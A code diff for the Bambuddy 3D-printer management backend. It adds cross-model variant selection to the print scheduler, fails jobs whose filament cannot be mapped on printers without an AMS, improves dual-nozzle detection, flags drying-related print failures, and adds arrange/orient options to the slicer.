-                    filament_overrides = None
-                    if item.filament_overrides:
-                        try:
-                            filament_overrides = json.loads(item.filament_overrides)
-                        except json.JSONDecodeError:
-                            pass
+                    for candidate in candidates:
+                        # Parse required filament types if present
+                        required_types = None
+                        if candidate.required_filament_types:
+                            try:
+                                required_types = json.loads(candidate.required_filament_types)
+                            except json.JSONDecodeError:
+                                pass  # Ignore malformed filament types; treat as no constraint
+
+                        # Parse filament overrides if present
+                        filament_overrides = None
+                        if candidate.filament_overrides:
+                            try:
+                                filament_overrides = json.loads(candidate.filament_overrides)
+                            except json.JSONDecodeError:
+                                pass
+
+                        # If overrides exist, use override types for validation instead
+                        effective_types = required_types
+                        if filament_overrides:
+                            override_types = sorted({o["type"] for o in filament_overrides if "type" in o})
+                            if override_types:
+                                # Merge: keep original types for non-overridden slots, add override types
+                                effective_types = sorted(set(required_types or []) | set(override_types))
+
+                        # Cross-model safety gate (#2578): never hand a 3MF sliced
+                        # for an incompatible model to a printer, no matter how the
+                        # row got into the DB (old rows, direct API writes). Held
+                        # as pending with an actionable waiting_reason — the user
+                        # fixes it by editing the item's target model.
+                        if not is_gcode_compatible(candidate.sliced_for, candidate.target_model):
+                            per_model_reasons.append(
+                                (
+                                    candidate.target_model,
+                                    f"File was sliced for {candidate.sliced_for}, which is not compatible with "
+                                    f"{candidate.target_model} — edit the item and fix its target model",
+                                )
+                            )
+                            skip_reasons["sliced_model_mismatch"] = skip_reasons.get("sliced_model_mismatch", 0) + 1
+                            continue
 
-                    # If overrides exist, use override types for validation instead
-                    effective_types = required_types
-                    if filament_overrides:
-                        override_types = sorted({o["type"] for o in filament_overrides if "type" in o})
-                        if override_types:
-                            # Merge: keep original types for non-overridden slots, add override types
-                            effective_types = sorted(set(required_types or []) | set(override_types))
-
-                    # Cross-model safety gate (#2578): never hand a 3MF sliced
-                    # for an incompatible model to a printer, no matter how the
-                    # row got into the DB (old rows, direct API writes). Held
-                    # as pending with an actionable waiting_reason — the user
-                    # fixes it by editing the item's target model.
-                    sliced_for = None
-                    if item.archive:
-                        sliced_for = item.archive.sliced_for_model
-                    elif item.library_file and item.library_file.file_metadata:
-                        sliced_for = item.library_file.file_metadata.get("sliced_for_model")
-
-                    if not is_gcode_compatible(sliced_for, item.target_model):
-                        printer_id = None
-                        waiting_reason = (
-                            f"File was sliced for {sliced_for}, which is not compatible with "
-                            f"{item.target_model} — edit the item and fix its target model"
-                        )
-                        skip_reasons["sliced_model_mismatch"] = skip_reasons.get("sliced_model_mismatch", 0) + 1
-                    else:
-                        printer_id, waiting_reason = await self._find_idle_printer_for_model(
+                        match_id, match_reason = await self._find_idle_printer_for_model(
                             db,
-                            item.target_model,
-                            busy_printers,
+                            candidate.target_model,
+                            # Sensor-held printers are unavailable to the
+                            # matcher but stay out of busy_printers itself
+                            # (#1148) — see where `interlocked` is built.
+                            busy_printers | interlocked.keys(),
                             effective_types,
                             item.target_location,
                             filament_overrides=filament_overrides,
                             require_plate_clear=require_plate_clear,
                         )
+                        if match_id:
+                            printer_id = match_id
+                            chosen = candidate
+                            break
+                        per_model_reasons.append((candidate.target_model, match_reason or ""))
+
+                    waiting_reason = None if printer_id else _collapse_waiting_reasons(per_model_reasons)
+
+                    # Fold the winning variant's file and settings onto the item
+                    # before anything else looks at them — the guards below and
+                    # every step of the dispatch read the item's own columns.
+                    if chosen is not None:
+                        self._resolve_variant(item, chosen)
 
                     # Update waiting_reason if changed and send notification when first waiting
                     if item.waiting_reason != waiting_reason:
@@ -762,7 +1051,7 @@ class PrintScheduler:
                             job_name = await self._get_job_name(db, item)
                             await notification_service.on_queue_job_waiting(
                                 job_name=job_name,
-                                target_model=item.target_model,
+                                target_model=_candidate_model_label(candidates) or item.target_model,
                                 waiting_reason=waiting_reason,
                                 db=db,
                             )
@@ -823,7 +1112,10 @@ class PrintScheduler:
                         # missing OR unresolved (all -1). Critical for model-based
                         # jobs where mapping wasn't computed upfront, and it also
                         # self-heals a bogus stored [-1] (#2589).
-                        await self._ensure_ams_mapping(db, printer_id, item)
+                        unmappable = await self._ensure_ams_mapping(db, printer_id, item)
+                        if unmappable:
+                            await self._fail_unmappable_item(db, item, printer_id, unmappable)
+                            continue
 
                         # Filament-deficit pre-dispatch check (#1496).
                         if await self._block_on_filament_deficit(db, item):
@@ -1435,7 +1727,47 @@ class PrintScheduler:
                 matches += 1
         return matches
 
-    async def _ensure_ams_mapping(self, db: AsyncSession, printer_id: int, item: PrintQueueItem) -> None:
+    def _resolve_variant(self, item: PrintQueueItem, candidate: _ModelCandidate) -> None:
+        """Fold the winning candidate's file and settings onto the queue row (#671).
+
+        This is the whole trick that keeps cross-model items cheap: the many-to-many
+        never escapes the selection loop. By the time the pass commits, the row
+        looks exactly like an ordinary single-file model-based item, so the upload,
+        archive creation, expected-print registration, print history and reprint
+        paths need no knowledge that variants exist.
+
+        No-ops for a non-variant candidate, which is already the item's own columns.
+
+        Safe to run and re-run: the item's file columns are only ever *read* when it
+        has no variants, so an item that gets resolved and then skipped (library-row
+        conflict, previous-print gate) is simply resolved again on the next pass.
+        """
+        variant = candidate.variant
+        if variant is None:
+            return
+
+        item.library_file_id = variant.library_file_id
+        item.library_file = variant.library_file
+        # The dispatcher checks archive_id first and would print that instead of
+        # the file we just picked. Creation refuses to combine the two, so this
+        # only ever fires on a hand-written row — clear it rather than silently
+        # dispatch something the matcher never considered.
+        item.archive_id = None
+        item.archive = None
+
+        item.target_model = variant.target_model
+        item.plate_id = variant.plate_id
+        item.ams_mapping = variant.ams_mapping
+        item.nozzle_mapping = variant.nozzle_mapping
+        item.filament_overrides = variant.filament_overrides
+        item.required_filament_types = variant.required_filament_types
+        if variant.print_time_seconds is not None:
+            # The row carried the shortest candidate's estimate so SJF could order
+            # it before a printer was known; now that one is chosen, record what is
+            # actually going to run so history and the ETA agree with reality.
+            item.print_time_seconds = variant.print_time_seconds
+
+    async def _ensure_ams_mapping(self, db: AsyncSession, printer_id: int, item: PrintQueueItem) -> str | None:
         """Ensure the queue item carries a usable AMS mapping before dispatch.
 
         Recomputes from live printer status when the stored mapping is missing OR
@@ -1451,6 +1783,14 @@ class PrintScheduler:
         external selection; the print command then keeps use_ams=True and the
         firmware surfaces a clear AMS-mapping error instead of silently printing
         to the empty external feed.
+
+        Returns an actionable message when that firmware error is the only
+        possible outcome — the matcher ran, matched nothing, and the printer has
+        no AMS to load a different spool into (#2771). The caller fails the item
+        on it instead of spending an upload on a print that cannot start.
+        Returns None everywhere else, including every case where we simply lack
+        the data to judge, so dispatch is only ever blocked on a positive
+        finding.
         """
         stored_mapping: list | None = None
         if item.ams_mapping:
@@ -1462,7 +1802,7 @@ class PrintScheduler:
         # Already resolved (present and not all-unresolved) — keep as-is so a
         # user's manual mapping is never overwritten.
         if item.ams_mapping and not _mapping_is_all_unresolved(stored_mapping):
-            return
+            return None
 
         computed_mapping = await self._compute_ams_mapping_for_printer(db, printer_id, item)
         if computed_mapping and not _mapping_is_all_unresolved(computed_mapping):
@@ -1474,7 +1814,9 @@ class PrintScheduler:
                 computed_mapping,
             )
             await db.commit()
-        elif _mapping_is_all_unresolved(stored_mapping):
+            return None
+
+        if _mapping_is_all_unresolved(stored_mapping):
             logger.warning(
                 "Queue item %s: stored ams_mapping %s is unresolved and could not be recomputed "
                 "from live status on printer %s; clearing it so dispatch does not treat it as external",
@@ -1485,6 +1827,105 @@ class PrintScheduler:
             item.ams_mapping = None
             await db.commit()
 
+        return await self._unmappable_without_ams_message(db, printer_id, item, computed_mapping)
+
+    async def _unmappable_without_ams_message(
+        self,
+        db: AsyncSession,
+        printer_id: int,
+        item: PrintQueueItem,
+        computed_mapping: list[int] | None,
+    ) -> str | None:
+        """Message for a mapping that resolved nothing on an AMS-less printer (#2771).
+
+        A print dispatched with no mapping goes out as ``use_ams: true`` with no
+        ``ams_mapping`` and no ``ams_mapping2``, which the firmware rejects with
+        0700_8012 "Failed to get AMS mapping table" — after Bambuddy has already
+        uploaded several megabytes and burned its dispatch retries. With an AMS
+        attached that error is worth reaching: the user can load the right spool
+        and press Resume, so this returns None and today's behaviour stands. With
+        no AMS there is nothing to resume into — the external spool holder is the
+        whole inventory — so the useful answer is to say which filament is
+        missing and stop.
+
+        Fail-safe by construction, mirroring the nozzle-diameter guard (#1899):
+        every branch that lacks the evidence to be sure returns None.
+        """
+        # None means the matcher never ran (no requirements parsed from the 3MF,
+        # or nothing loaded at all) rather than "ran and matched nothing". Those
+        # dispatch as they always have.
+        if not _mapping_is_all_unresolved(computed_mapping):
+            return None
+
+        status = printer_manager.get_status(printer_id)
+        if status is None:
+            return None
+
+        # "No AMS" has to be a fact the printer stated, not the absence of a
+        # statement. `raw_data["ams"]` is written only once an AMS push has been
+        # handled and is preserved across partial pushes thereafter, so a missing
+        # key means we have not heard yet — most likely a reconnect, where the
+        # trays of a fully loaded AMS would be invisible for a few seconds. An
+        # empty list is the positive report of a printer with no AMS.
+        ams_units = status.raw_data.get("ams")
+        if not isinstance(ams_units, list) or ams_units:
+            return None
+
+        required = await self._get_filament_requirements(db, item)
+        loaded = self._build_loaded_filaments(status)
+        if not required or not loaded:
+            # Both were non-empty moments ago or the matcher could not have run.
+            # If the picture changed under us, say nothing rather than fail an
+            # item on stale evidence.
+            return None
+        self._apply_filament_overrides(item, required)
+        return _unmatched_filament_message(required, loaded)
+
+    async def _fail_unmappable_item(
+        self, db: AsyncSession, item: PrintQueueItem, printer_id: int, message: str
+    ) -> None:
+        """Fail a queue item whose filament mapping cannot resolve (#2771).
+
+        This replaces a failure, not a success: without it the item is uploaded,
+        rejected by the firmware with 0700_8012, retried twice more and failed
+        anyway with "never started the print after N dispatch attempts". So this
+        applies on the model-based path too, even though it means an "Any <model>"
+        job stops at the first printer offered rather than trying its siblings —
+        deferring instead would need the check to move inside
+        ``_find_printer_for_model``'s candidate loop, since un-assigning here just
+        re-assigns the same printer on the next tick.
+        """
+        item.status = "failed"
+        item.error_message = message
+        item.completed_at = datetime.now(timezone.utc)
+        item.waiting_reason = None
+        await db.commit()
+        logger.warning(
+            "Queue item %s: no usable AMS mapping on printer %s — %s",
+            item.id,
+            printer_id,
+            message,
+        )
+
+        job_name = await self._get_job_name(db, item)
+        printer = await self._get_printer(db, printer_id)
+        await notification_service.on_queue_job_failed(
+            job_name=job_name,
+            printer_id=printer_id,
+            printer_name=printer.name if printer else "Unknown",
+            reason=message,
+            db=db,
+        )
+        try:
+            await ws_manager.send_queue_item_failed(
+                user_id=item.created_by_id,
+                queue_item_id=item.id,
+                printer_id=printer_id,
+                reason="filament_unmappable",
+            )
+        except Exception:
+            pass
+
     async def _compute_ams_mapping_for_printer(
         self, db: AsyncSession, printer_id: int, item: PrintQueueItem
     ) -> list[int] | None:
@@ -1537,37 +1978,7 @@ class PrintScheduler:
             logger.debug("No filament requirements found for queue item %s", item.id)
             return None
 
-        # Apply filament overrides if present
-        if item.filament_overrides:
-            try:
-                overrides = json.loads(item.filament_overrides)
-                override_map = {o["slot_id"]: o for o in overrides}
-                for req in filament_reqs:
-                    if req["slot_id"] in override_map:
-                        override = override_map[req["slot_id"]]
-                        req["type"] = override["type"]
-                        req["color"] = override["color"]
-                        # A manual/preference override SWAPS the slot's filament, so the
-                        # 3MF's original tray_info_idx now points at the old spool and must
-                        # be cleared — matching then falls back to type+colour. A
-                        # force_color_match override is not a swap: it carries the 3MF's
-                        # intended variant (Basic GFA00 / Matte GFA01 / Silk GFA06), so keep
-                        # it here too, letting the matcher pin the correct variant slot on a
-                        # printer holding two same-colour spools of different variants (#2650).
-                        # If that variant isn't loaded the matcher falls back to type+colour,
-                        # so an eligible printer never fails to map.
-                        req["tray_info_idx"] = (
-                            override.get("tray_info_idx", "") if override.get("force_color_match") else ""
-                        )
-                        logger.debug(
-                            "Queue item %s: Override slot %d -> %s %s",
-                            item.id,
-                            req["slot_id"],
-                            override["type"],
-                            override["color"],
-                        )
-            except (json.JSONDecodeError, KeyError, TypeError) as e:
-                logger.warning("Failed to apply filament overrides for queue item %s: %s", item.id, e)
+        self._apply_filament_overrides(item, filament_reqs)
 
         # Build loaded filaments from printer status
         loaded_filaments = self._build_loaded_filaments(status)
@@ -1601,6 +2012,47 @@ class PrintScheduler:
             filament_reqs, loaded_filaments, prefer_lowest, inventory_remain_overrides, fts_installed
         )
 
+    def _apply_filament_overrides(self, item: PrintQueueItem, filament_reqs: list[dict]) -> None:
+        """Rewrite ``filament_reqs`` in place with the item's per-slot overrides.
+
+        Extracted from ``_compute_ams_mapping_for_printer`` so the unmappable
+        diagnosis (#2771) describes the filament the matcher actually looked
+        for, not the one the 3MF was sliced with — naming the pre-override
+        filament in a user-facing error would send the user to load the wrong
+        spool.
+        """
+        if not item.filament_overrides:
+            return
+        try:
+            overrides = json.loads(item.filament_overrides)
+            override_map = {o["slot_id"]: o for o in overrides}
+            for req in filament_reqs:
+                if req["slot_id"] in override_map:
+                    override = override_map[req["slot_id"]]
+                    req["type"] = override["type"]
+                    req["color"] = override["color"]
+                    # A manual/preference override SWAPS the slot's filament, so the
+                    # 3MF's original tray_info_idx now points at the old spool and must
+                    # be cleared — matching then falls back to type+colour. A
+                    # force_color_match override is not a swap: it carries the 3MF's
+                    # intended variant (Basic GFA00 / Matte GFA01 / Silk GFA06), so keep
+                    # it here too, letting the matcher pin the correct variant slot on a
+                    # printer holding two same-colour spools of different variants (#2650).
+                    # If that variant isn't loaded the matcher falls back to type+colour,
+                    # so an eligible printer never fails to map.
+                    req["tray_info_idx"] = (
+                        override.get("tray_info_idx", "") if override.get("force_color_match") else ""
+                    )
+                    logger.debug(
+                        "Queue item %s: Override slot %d -> %s %s",
+                        item.id,
+                        req["slot_id"],
+                        override["type"],
+                        override["color"],
+                    )
+        except (json.JSONDecodeError, KeyError, TypeError) as e:
+            logger.warning("Failed to apply filament overrides for queue item %s: %s", item.id, e)
+
     def _build_override_direct_mapping(self, force_overrides: list[dict], status) -> list[int] | None:
         """Build an AMS mapping directly from force-color overrides without a 3MF.
 
@@ -1674,6 +2126,38 @@ class PrintScheduler:
         # Get ams_extruder_map for dual-nozzle printers (H2D, H2D Pro)
         ams_extruder_map = status.raw_data.get("ams_extruder_map", {})
 
+        # Dual-nozzle detection, used below to route external spools to an
+        # extruder (#2771). Mirrors `buildLoadedFilaments` in the frontend,
+        # which was corrected for #1257 while this copy kept the old signal.
+        #
+        # `ams_extruder_map` is derived from AMS info bits, so a dual-nozzle
+        # printer with zero AMS units reports an empty map — and every external
+        # spool then got `extruder_id=None`, which the nozzle-aware filter in
+        # `_match_filaments_to_slots` rejects outright because `None` equals
+        # neither 0 nor 1. On an X2D feeding from external spools only that left
+        # nothing to match, the mapping came back all -1, and the print went out
+        # with `use_ams: true` and no mapping table at all — firmware 0700_8012,
+        # "Failed to get AMS mapping table".
+        #
+        # `nozzles` is always a two-entry list (the state seeds it with two empty
+        # NozzleInfo stubs), so its length proves nothing; only a populated
+        # diameter on the second entry means real hardware. The other two signals
+        # are fallbacks for firmware revisions that surface one but not the
+        # other: a populated `ams_extruder_map` is dual-nozzle by construction,
+        # and so is more than one `vt_tray` entry, since single-nozzle printers
+        # expose exactly one external feed.
+        nozzles = getattr(status, "nozzles", None) or []
+        vt_trays = status.raw_data.get("vt_tray") or []
+        is_dual_nozzle = bool(
+            (len(nozzles) > 1 and getattr(nozzles[1], "nozzle_diameter", ""))
+            or ams_extruder_map
+            # isinstance, because a dict here would count its ~30 keys as trays.
+            # bambu_mqtt normalises vt_tray to a list before it reaches raw_data,
+            # so this is unreachable — but the loop below would raise on a dict
+            # and that is the pre-existing behaviour to keep, not to paper over.
+            or (isinstance(vt_trays, list) and len(vt_trays) > 1)
+        )
+
         # Parse AMS units from raw_data
         ams_data = status.raw_data.get("ams", [])
         for ams_unit in ams_data:
@@ -1710,7 +2194,7 @@ class PrintScheduler:
                     )
 
         # Check external spool(s) (vt_tray is a list)
-        for idx, vt in enumerate(status.raw_data.get("vt_tray") or []):
+        for idx, vt in enumerate(vt_trays):
             if vt.get("tray_type"):
                 color = self._normalize_color(vt.get("tray_color", ""))
                 tray_id = int(vt.get("id", 254))
@@ -1724,7 +2208,9 @@ class PrintScheduler:
                         "is_ht": False,
                         "is_external": True,
                         "global_tray_id": tray_id,
-                        "extruder_id": (255 - tray_id) if ams_extruder_map else None,
+                        # 254 = VIRTUAL_TRAY_DEPUTY_ID feeds extruder 1 (left),
+                        # 255 = VIRTUAL_TRAY_MAIN_ID feeds extruder 0 (right).
+                        "extruder_id": (255 - tray_id) if is_dual_nozzle else None,
                         "remain": vt.get("remain", -1),
                     }
                 )
@@ -2551,10 +3037,18 @@ class PrintScheduler:
                     self._drying_in_progress[pid] = time.monotonic()
 
     def _sync_drying_state(self):
-        """Sync in-memory drying state with actual printer status.
-
-        Handles backend restart — if a printer is drying but we don't know about it,
-        update our state. If we think it's drying but it's not, clear it.
+        """Drop printers from ``_drying_in_progress`` that are no longer drying.
+
+        One direction only: it prunes, it never adds. A printer drying without an
+        entry here — because the user started the cycle from Studio, the printer's
+        screen or Bambuddy's own manual Dry button, or because Bambuddy restarted
+        mid-cycle — stays unknown to the scheduler, so the "print takes priority"
+        stop at ``check_queue`` only ever applies to cycles Bambuddy itself began.
+
+        That is deliberate for now rather than an oversight: populating this from
+        telemetry would hand the scheduler authority to stop drying a user started
+        by hand. It also means the backend-restart case this used to claim to
+        handle is not handled.
         """
         to_remove = []
         for pid in self._drying_in_progress:
@@ -3023,6 +3517,22 @@ class PrintScheduler:
             library_file = result.scalar_one_or_none()
             if library_file:
                 return library_file.filename.replace(".gcode.3mf", "").replace(".3mf", "")
+        # A cross-model item (#671) holds no file of its own until a printer is
+        # picked, so name it after its first candidate — otherwise every waiting
+        # notification for one reads "Job #12". Queried rather than read off
+        # item.variants because callers outside the selection loop have not
+        # eager-loaded them, and a lazy load raises in async.
+        first_variant_name = (
+            await db.execute(
+                select(LibraryFile.filename)
+                .join(PrintQueueVariant, PrintQueueVariant.library_file_id == LibraryFile.id)
+                .where(PrintQueueVariant.queue_item_id == item.id)
+                .order_by(PrintQueueVariant.position, PrintQueueVariant.id)
+                .limit(1)
+            )
+        ).scalar_one_or_none()
+        if first_variant_name:
+            return first_variant_name.replace(".gcode.3mf", "").replace(".3mf", "")
         return f"Job #{item.id}"
 
     async def _get_printer(self, db: AsyncSession, printer_id: int) -> Printer | None:
@@ -3986,6 +4496,11 @@ class PrintScheduler:
         # every push carrying an `hms` key, so the fault can come and go between
         # 3-second polls. Seeing it once inside the dispatch window is enough.
         command_rejected = False
+        # Latched for the same reason as command_rejected: drying can finish, or
+        # be stopped by the user, part-way through the dispatch window. Seeing it
+        # once is what matters — it is the state the printer was in when it
+        # declined to start (#2758).
+        drying_ams_ids: list[int] = []
         deadline = time.monotonic() + timeout
         while time.monotonic() < deadline:
             await asyncio.sleep(poll_interval)
@@ -4016,6 +4531,7 @@ class PrintScheduler:
                 except Exception:
                     pass
                 return
+            drying_ams_ids = drying_ams_ids or _drying_ams_ids(status)
             # Checked only after the active-state exit above: a stale HMS left
             # over from an earlier job must never abort a print that is visibly
             # running. An actually-refused command leaves the printer idle, so
@@ -4052,6 +4568,7 @@ class PrintScheduler:
                     except Exception:
                         pass
                     return
+                drying_ams_ids = drying_ams_ids or _drying_ams_ids(status)
                 # Same ordering rule as Phase A: a running print wins over a
                 # lingering HMS.
                 if _mqtt_commands_rejected(status):
@@ -4062,6 +4579,17 @@ class PrintScheduler:
         # Drop the in-memory hold so the retry isn't blocked by it.
         scheduler._release_dispatch_hold(printer_id)
 
+        # Logged on every failed dispatch window, not just the last one, so a
+        # support bundle shows the correlation from the first attempt rather than
+        # only after the retry budget is spent (#2758).
+        if drying_ams_ids:
+            logger.info(
+                "Queue item %s: printer %d never started while AMS %s drying — this may be why, see #2758",
+                queue_item_id,
+                printer_id,
+                ", ".join(str(i) for i in drying_ams_ids),
+            )
+
         # Four outcomes from the revert attempt, each routed differently:
         #   "reverted":          row flipped from printing -> pending, run recovery
         #   "gave_up":           same, but the retry budget is spent — row failed
@@ -4086,6 +4614,17 @@ class PrintScheduler:
                 return "already_moved_on"
             item.dispatch_attempts = (item.dispatch_attempts or 0) + 1
             item.started_at = None
+            # Charge the attempt to the candidate that was actually dispatched, so
+            # a cross-model item (#671) reaches for its other file next lap instead
+            # of retrying the printer that just failed to start. Matched by file
+            # because that is what the resolver copied onto the row.
+            if item.library_file_id is not None:
+                await db.execute(
+                    update(PrintQueueVariant)
+                    .where(PrintQueueVariant.queue_item_id == item.id)
+                    .where(PrintQueueVariant.library_file_id == item.library_file_id)
+                    .values(attempt_count=PrintQueueVariant.attempt_count + 1)
+                )
             if command_rejected:
                 # No retry budget for this one: the printer refused to verify the
                 # command, and re-uploading the same 3MF to the same printer will
@@ -4102,11 +4641,29 @@ class PrintScheduler:
                 return "command_rejected"
             if item.dispatch_attempts >= DISPATCH_MAX_ATTEMPTS:
                 item.status = "failed"
-                item.error_message = (
-                    f"The printer accepted the file but never started printing, after "
-                    f"{item.dispatch_attempts} attempts. Check the printer's screen for a "
-                    f"prompt or error, confirm its SD card is readable, and start the job again."
-                )
+                if drying_ams_ids:
+                    # #2758: the generic message below sent the reporter looking
+                    # at the SD card while the actual obstacle — AMS units in a
+                    # drying cycle — was on screen the whole time. Name what we
+                    # observed and let the user judge it; Bambuddy does not stop
+                    # the cycle itself, because on this hardware drying can run
+                    # alongside a print and stopping it may not be the fix.
+                    units = ", ".join(f"AMS {i}" for i in drying_ams_ids)
+                    item.error_message = (
+                        f"The printer accepted the file but never started printing, after "
+                        f"{item.dispatch_attempts} attempts. {units} "
+                        f"{'was' if len(drying_ams_ids) == 1 else 'were'} drying throughout — "
+                        f"some printers refuse to begin a print while an AMS is in a drying "
+                        f"cycle, and an AMS drying without its external power supply can also "
+                        f"leave too little power for the start-of-print calibration. Stop the "
+                        f"drying, or connect the AMS power supply, and start the job again."
+                    )
+                else:
+                    item.error_message = (
+                        f"The printer accepted the file but never started printing, after "
+                        f"{item.dispatch_attempts} attempts. Check the printer's screen for a "
+                        f"prompt or error, confirm its SD card is readable, and start the job again."
+                    )
                 item.completed_at = datetime.now(timezone.utc)
                 await release_budget_reservation(
                     db,

+ 85 - 14
backend/app/services/printer_manager.py

@@ -238,6 +238,86 @@ def drying_screen_only(model: str | None) -> bool:
     return model.strip().upper() in _DRYING_SCREEN_ONLY_MODELS
 
 
+# Temperature keys the UI actually draws. `state.temperatures` is also working
+# memory: it carries private bookkeeping (`_nozzle_target_set_time`) and derived
+# flags (`nozzle_heating`) that no consumer outside this module should see. The
+# full-status path hands out the whole dict to logged-in callers; the streaming
+# overlay gets only this list, because an overlay token is a narrower grant than
+# a login and should not pick up fields by accident as the dict grows.
+DISPLAY_TEMPERATURE_KEYS = (
+    "nozzle",
+    "nozzle_target",
+    "nozzle_2",
+    "nozzle_2_target",
+    "bed",
+    "bed_target",
+    "chamber",
+    "chamber_target",
+)
+
+
+def display_temperatures(temperatures: dict | None, model: str | None) -> dict[str, float]:
+    """Filter `state.temperatures` down to the readings a viewer is shown.
+
+    Drops chamber readings on models without a real chamber sensor — P1P, P1S,
+    A1 and A1 mini all report a meaningless `chamber_temper` — matching what
+    ``printer_state_to_dict`` already does for the full status payload.
+    """
+    if not temperatures:
+        return {}
+    allow_chamber = supports_chamber_temp(model)
+    out: dict[str, float] = {}
+    for key in DISPLAY_TEMPERATURE_KEYS:
+        if key.startswith("chamber") and not allow_chamber:
+            continue
+        value = temperatures.get(key)
+        if value is None:
+            continue
+        try:
+            out[key] = float(value)
+        except (TypeError, ValueError):
+            continue
+    return out
+
+
+def uniform_tray_filament_hint(loaded_types: list[str]) -> str | None:
+    """Guess an active cycle's filament from the loaded trays.
+
+    Bambu never echoes back which filament or temperature a drying cycle is
+    running, so the badge normally reads the target we cached when we sent the
+    command. This is the fallback for when we have no record — drying started in
+    a previous backend lifetime, or from the printer's own screen.
+
+    It answers only when every loaded tray holds the same filament type. On a
+    mixed unit the first tray is evidence of nothing: an AMS holding two PETG
+    and two PLA spools, drying PLA at the 45°C the user picked, was labelled
+    "PETG @ 65°C" purely because slot 1 happened to be PETG (#2759).
+
+    Deliberately no temperature. The RFID-recommended ``drying_temp`` used to be
+    returned alongside a uniform filament, which narrowed #2759 to units whose
+    spools disagree but left the uniform case stating a temperature just as
+    invented: a unit loaded entirely with PLA, drying at the 45°C the user
+    picked, read "PLA @ 55°C" the moment the cached target went missing. The
+    filament type is real evidence — every spool in the unit agrees on it, and
+    the dryer heats all of them — but the temperature is a free choice in the
+    popover, so a recommendation is never evidence of what is running. The badge
+    shows the filament and the countdown, and names a temperature only when we
+    actually sent it.
+
+    Args:
+        loaded_types: ``tray_type`` for each tray, in slot order. Empty slots
+            (falsy) are ignored.
+
+    Returns:
+        The shared filament type, or None if the loaded trays disagree or the
+        unit is empty.
+    """
+    types = {str(tray_type) for tray_type in loaded_types if tray_type}
+    if len(types) != 1:
+        return None
+    return next(iter(types))
+
+
 def supports_drying(model: str | None, firmware: str | None) -> bool:
     """Check if a printer model accepts remote AMS drying commands.
 
@@ -1254,9 +1334,9 @@ def printer_state_to_dict(
             # per-tick AMS push, so prefer the cached target from the last
             # ``send_drying_command``. When we have no record (drying
             # started in a previous backend lifetime, or the cache was
-            # never seeded), fall back to the first loaded tray's
-            # tray_type + RFID-recommended drying_temp — the same heuristic
-            # the popover already uses to seed defaults.
+            # never seeded), the loaded trays can still name the filament
+            # if they agree — but never the temperature, which only the
+            # cache knows. See uniform_tray_filament_hint.
             ams_id_int = int(ams_data.get("id", 0))
             target = (drying_targets or {}).get(ams_id_int)
             dry_target_temp: int | None = None
@@ -1271,17 +1351,8 @@ def printer_state_to_dict(
                         dry_target_temp = None
                 if fil_val:
                     dry_filament = str(fil_val)
-            if dry_target_temp is None or not dry_filament:
-                for tray in trays:
-                    if tray.get("tray_type"):
-                        if not dry_filament:
-                            dry_filament = str(tray["tray_type"])
-                        if dry_target_temp is None and tray.get("drying_temp"):
-                            try:
-                                dry_target_temp = int(tray["drying_temp"])
-                            except (TypeError, ValueError):
-                                pass
-                        break
+            if not dry_filament:
+                dry_filament = uniform_tray_filament_hint([tray.get("tray_type") or "" for tray in trays])
 
             ams_units.append(
                 {

+ 39 - 6
backend/app/services/slicer_api.py

@@ -471,6 +471,7 @@ class SlicerApiService:
         plate: int | None = None,
         export_3mf: bool = False,
         arrange: bool = False,
+        orient: bool = False,
         request_id: str | None = None,
         on_progress: Callable[[dict], None] | None = None,
     ) -> SliceResult:
@@ -489,7 +490,15 @@ class SlicerApiService:
         the source's X1C-coordinate layout would otherwise drop into an H2D
         dead zone or trigger the multi-extruder geometry pipeline's polygon
         clipping crash. Default off so single-printer slices preserve the
-        user's deliberate layout.
+        user's deliberate layout. Also settable per-slice by the user
+        (#2548).
+
+        ``orient`` forwards ``--orient``, the CLI's auto-orientation pass:
+        the slicer scores candidate rotations (overhang area, contour,
+        unprintability) and rotates each object onto the best one before
+        slicing. User-driven only — nothing in Bambuddy turns it on by
+        itself, since rotating a deliberately-laid-out model is not a
+        change to make silently.
 
         ``request_id``: when supplied, the sidecar wires --pipe to a
         per-request FIFO and publishes structured JSON progress events to
@@ -522,11 +531,7 @@ class SlicerApiService:
             data["plate"] = str(plate)
         if export_3mf:
             data["exportType"] = "3mf"
-        if arrange:
-            # Sidecar reads non-empty truthy strings as True; only send the
-            # field when we want the flag on, so default-off callers exactly
-            # match the previous wire payload.
-            data["arrange"] = "true"
+        _add_layout_flags(data, arrange=arrange, orient=orient)
         if request_id is not None:
             data["requestId"] = request_id
 
@@ -545,6 +550,8 @@ class SlicerApiService:
         model_filename: str,
         plate: int | None = None,
         export_3mf: bool = False,
+        arrange: bool = False,
+        orient: bool = False,
         request_id: str | None = None,
         on_progress: Callable[[dict], None] | None = None,
     ) -> SliceResult:
@@ -563,6 +570,14 @@ class SlicerApiService:
         events to the ProgressStore so the modal's inline spinner +
         toast can show "Generating G-code (75%)" for that preview as
         well.
+
+        ``arrange`` / ``orient`` mean the same as on
+        ``slice_with_profiles``: they are CLI actions applied to the loaded
+        geometry, independent of where the print config came from. Both
+        paths accept them so a user's per-slice choice survives the
+        embedded-settings route and the segfault fallback — the filament-
+        discovery preview leaves them off, since moving objects there
+        would change nothing about which slots the plate consumes.
         """
         files = {
             "file": (model_filename, model_bytes, _guess_model_content_type(model_filename)),
@@ -572,6 +587,7 @@ class SlicerApiService:
             data["plate"] = str(plate)
         if export_3mf:
             data["exportType"] = "3mf"
+        _add_layout_flags(data, arrange=arrange, orient=orient)
         if request_id is not None:
             data["requestId"] = request_id
 
@@ -584,6 +600,23 @@ class SlicerApiService:
         return _handle_slice_response(response, export_3mf=export_3mf)
 
 
+def _add_layout_flags(data: dict[str, str], *, arrange: bool, orient: bool) -> None:
+    """Set the sidecar's ``arrange`` / ``orient`` form fields, but only when on.
+
+    The sidecar branches on ``settings.arrange !== undefined`` and forwards
+    ``--arrange 1`` / ``--arrange 0`` accordingly — but multipart fields
+    arrive as *strings*, and ``"false"`` is truthy in JavaScript. Sending
+    ``"false"`` would therefore turn the flag ON. So an off flag is
+    expressed by omitting the field entirely, which also keeps the wire
+    payload of default-off callers byte-identical to before these
+    parameters existed.
+    """
+    if arrange:
+        data["arrange"] = "true"
+    if orient:
+        data["orient"] = "true"
+
+
 def _safe_int(value: str | None) -> int:
     if not value:
         return 0

+ 94 - 2
backend/app/services/spoolman_tracking.py

@@ -150,6 +150,62 @@ def _resolve_global_tray_id(slot_id: int, slot_to_tray: list | None, ams_trays:
     return slot_id - 1
 
 
+def _resolve_slot_to_tray_fallback(printer_id: int, filament_usage: list[dict]) -> tuple[list[int] | None, str]:
